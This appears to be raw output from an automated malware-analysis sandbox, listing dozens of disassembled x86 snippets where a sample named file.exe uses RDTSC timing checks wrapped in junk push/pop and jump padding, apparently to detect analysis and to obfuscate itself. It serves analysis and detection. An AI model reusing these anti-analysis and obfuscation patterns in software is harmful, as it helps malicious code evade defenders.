Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAC7E second address: 7AAC82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F003B second address: 7F003F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F003F second address: 7F0051 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05B1 second address: 7F05B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05B7 second address: 7F05BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05BB second address: 7F05BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05BF second address: 7F05CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05CE second address: 7F05D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05D2 second address: 7F05DC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2CCCC4BE16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05DC second address: 7F05E1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0827 second address: 7F082C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F082C second address: 7F084D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F2CCCD92DF3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F084D second address: 7F0858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2CCCC4BE16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0B9D second address: 7F0BA7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2CCCD92DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0BA7 second address: 7F0BCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2CCCC4BE20h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0BCA second address: 7F0BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0BD0 second address: 7F0BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0BD4 second address: 7F0BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov esi, 4F0024A1h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2CCCD92DEBh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F350F second address: 7F3514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3514 second address: 7F351A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F351A second address: 7F3534 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2CCCC4BE16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2CCCC4BE1Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4A36 second address: 7F4A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5EBE second address: 7F5EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5EC3 second address: 7F5F08 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2CCCD92DECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jc 00007F2CCCD92DEEh 0x00000011 push esi 0x00000012 mov esi, dword ptr [ebp+122D2B99h] 0x00000018 pop esi 0x00000019 mov dword ptr [ebp+1244C3A6h], edi 0x0000001f push 00000000h 0x00000021 mov dword ptr [ebp+122D2D37h], ecx 0x00000027 push 00000000h 0x00000029 mov edi, dword ptr [ebp+122D2C01h] 0x0000002f or dword ptr [ebp+122D2907h], ecx 0x00000035 push eax 0x00000036 push ecx 0x00000037 jg 00007F2CCCD92DECh 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5CC2 second address: 7F5CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5CC7 second address: 7F5CCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5CCC second address: 7F5CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2CCCC4BE29h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB33D second address: 7FB362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F2CCCD92DEFh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F2CCCD92DE6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F95A7 second address: 7F95AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB99D second address: 7FB9A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB9A1 second address: 7FB9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB9A7 second address: 7FB9B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F2CCCD92DE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB9B2 second address: 7FBA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F2CCCC4BE18h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007F2CCCC4BE18h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 0000001Ah 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 push 00000000h 0x00000042 mov ebx, dword ptr [ebp+122D29C9h] 0x00000048 xchg eax, esi 0x00000049 push ebx 0x0000004a jmp 00007F2CCCC4BE20h 0x0000004f pop ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCA01 second address: 7FCABA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2CCCD92DF3h 0x00000008 jmp 00007F2CCCD92DF8h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov ebx, dword ptr [ebp+124748A6h] 0x00000019 jmp 00007F2CCCD92DEEh 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F2CCCD92DE8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a cmc 0x0000003b mov edi, dword ptr [ebp+124509A2h] 0x00000041 mov dword ptr [ebp+122D2D4Ah], esi 0x00000047 push 00000000h 0x00000049 mov bh, 1Dh 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d jmp 00007F2CCCD92DF5h 0x00000052 pushad 0x00000053 jg 00007F2CCCD92DE6h 0x00000059 push esi 0x0000005a pop esi 0x0000005b popad 0x0000005c popad 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jo 00007F2CCCD92DFBh 0x00000066 jmp 00007F2CCCD92DF5h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBCB7 second address: 7FBCBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCBD8 second address: 7FCC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 mov dword ptr [ebp+1245A722h], eax 0x0000000b or edi, dword ptr [ebp+1245088Eh] 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F2CCCD92DE8h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov bx, CCDCh 0x00000036 push esi 0x00000037 add di, EAC1h 0x0000003c pop ebx 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov bx, E54Ch 0x00000048 mov eax, dword ptr [ebp+122D02D1h] 0x0000004e push 00000000h 0x00000050 push esi 0x00000051 call 00007F2CCCD92DE8h 0x00000056 pop esi 0x00000057 mov dword ptr [esp+04h], esi 0x0000005b add dword ptr [esp+04h], 0000001Ch 0x00000063 inc esi 0x00000064 push esi 0x00000065 ret 0x00000066 pop esi 0x00000067 ret 0x00000068 call 00007F2CCCD92DEBh 0x0000006d mov bh, dh 0x0000006f pop edi 0x00000070 push FFFFFFFFh 0x00000072 adc edi, 4221D051h 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b jno 00007F2CCCD92DE8h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBCBB second address: 7FBCD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F2CCCC4BE1Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD9AF second address: 7FDA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b jne 00007F2CCCD92DFDh 0x00000011 nop 0x00000012 call 00007F2CCCD92DEDh 0x00000017 call 00007F2CCCD92DF9h 0x0000001c mov ebx, 19DACAD3h 0x00000021 pop ebx 0x00000022 pop edi 0x00000023 push 00000000h 0x00000025 cld 0x00000026 push 00000000h 0x00000028 sub dword ptr [ebp+124748B2h], edi 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F2CCCD92DF8h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCC6D second address: 7FCC77 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2CCCC4BE1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDA2B second address: 7FDA4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F2CCCD92DF0h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEA7F second address: 7FEA83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEA83 second address: 7FEAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2CCCD92DF5h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2CCCD92DECh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEAB0 second address: 7FEAB6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801762 second address: 801767 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803BFA second address: 803BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803BFE second address: 803C1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803C1B second address: 803C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80195F second address: 801963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804D5E second address: 804DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jmp 00007F2CCCC4BE1Eh 0x0000000c popad 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F2CCCC4BE18h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b sub dword ptr [ebp+122D35CBh], edi 0x00000031 jmp 00007F2CCCC4BE1Eh 0x00000036 push 00000000h 0x00000038 mov bx, 47C1h 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push esi 0x00000041 call 00007F2CCCC4BE18h 0x00000046 pop esi 0x00000047 mov dword ptr [esp+04h], esi 0x0000004b add dword ptr [esp+04h], 0000001Bh 0x00000053 inc esi 0x00000054 push esi 0x00000055 ret 0x00000056 pop esi 0x00000057 ret 0x00000058 push eax 0x00000059 push ebx 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808CB4 second address: 808CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804FC1 second address: 804FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2CCCC4BE20h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804FDA second address: 804FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2CCCD92DF8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805F55 second address: 805F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805F5E second address: 805F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806EBD second address: 806EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807FC3 second address: 807FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F2CCCD92DF7h 0x0000000f jmp 00007F2CCCD92DEEh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80AFB7 second address: 80AFBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810598 second address: 81059F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81059F second address: 8105A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8110C9 second address: 8110D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8110D0 second address: 8110D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814B8A second address: 814B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814B90 second address: 814B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814B96 second address: 814B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B53B second address: 81B540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B540 second address: 81B59C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2CCCD92DF7h 0x00000008 jmp 00007F2CCCD92DF1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F2CCCD92DEBh 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007F2CCCD92DF8h 0x0000001e mov eax, dword ptr [eax] 0x00000020 jns 00007F2CCCD92DEAh 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a pushad 0x0000002b jc 00007F2CCCD92DECh 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B59C second address: 81B5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F2CCCC4BE1Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B661 second address: 81B665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B665 second address: 81B66B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B66B second address: 81B6C3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2CCCD92DECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F2CCCD92DF2h 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c pushad 0x0000001d jmp 00007F2CCCD92DF6h 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push ecx 0x0000002b pushad 0x0000002c jng 00007F2CCCD92DE6h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B779 second address: 64DB1D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2CCCC4BE1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 2A9418FFh 0x00000011 pushad 0x00000012 jmp 00007F2CCCC4BE24h 0x00000017 je 00007F2CCCC4BE1Ch 0x0000001d js 00007F2CCCC4BE16h 0x00000023 popad 0x00000024 push dword ptr [ebp+122D16CDh] 0x0000002a pushad 0x0000002b jmp 00007F2CCCC4BE24h 0x00000030 adc cl, 00000033h 0x00000033 popad 0x00000034 call dword ptr [ebp+122D17B4h] 0x0000003a pushad 0x0000003b mov dword ptr [ebp+122D3924h], edi 0x00000041 xor eax, eax 0x00000043 mov dword ptr [ebp+122D3924h], ecx 0x00000049 mov edx, dword ptr [esp+28h] 0x0000004d cmc 0x0000004e mov dword ptr [ebp+122D2AADh], eax 0x00000054 jmp 00007F2CCCC4BE1Ch 0x00000059 mov esi, 0000003Ch 0x0000005e pushad 0x0000005f mov dword ptr [ebp+122D3924h], eax 0x00000065 jmp 00007F2CCCC4BE28h 0x0000006a popad 0x0000006b add esi, dword ptr [esp+24h] 0x0000006f pushad 0x00000070 mov eax, 4107BFB9h 0x00000075 jmp 00007F2CCCC4BE1Ah 0x0000007a popad 0x0000007b mov dword ptr [ebp+122D369Bh], edi 0x00000081 lodsw 0x00000083 mov dword ptr [ebp+122D3924h], ecx 0x00000089 add eax, dword ptr [esp+24h] 0x0000008d sub dword ptr [ebp+122D3924h], edx 0x00000093 mov ebx, dword ptr [esp+24h] 0x00000097 jmp 00007F2CCCC4BE28h 0x0000009c nop 0x0000009d pushad 0x0000009e push eax 0x0000009f push edx 0x000000a0 push eax 0x000000a1 push edx 0x000000a2 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F4E7 second address: 81F500 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jo 00007F2CCCD92DE6h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F500 second address: 81F515 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007F2CCCC4BE16h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F2CCCC4BE39h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F66A second address: 81F686 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F7D6 second address: 81F7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCC4BE21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F7EB second address: 81F802 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2CCCD92DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2CCCD92DEBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F802 second address: 81F828 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2CCCC4BE16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F2CCCC4BE26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F999 second address: 81F99D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
